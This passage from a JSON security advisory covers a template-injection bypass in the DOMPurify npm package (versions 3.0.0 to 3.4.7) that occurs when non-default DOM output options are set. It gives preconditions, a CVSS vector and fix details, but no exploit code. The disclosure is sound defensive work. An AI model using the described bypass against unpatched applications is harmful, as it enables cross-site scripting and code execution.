elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `<template>.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067–2071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {\n serializedHTML = stringReplace(serializedHTML, expr, ' ');\n });\n}\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dompurify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "3.4.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.4.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cure53/DOMPurify"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-15T20:02:40Z",
"nvd_published_at" : null
}
}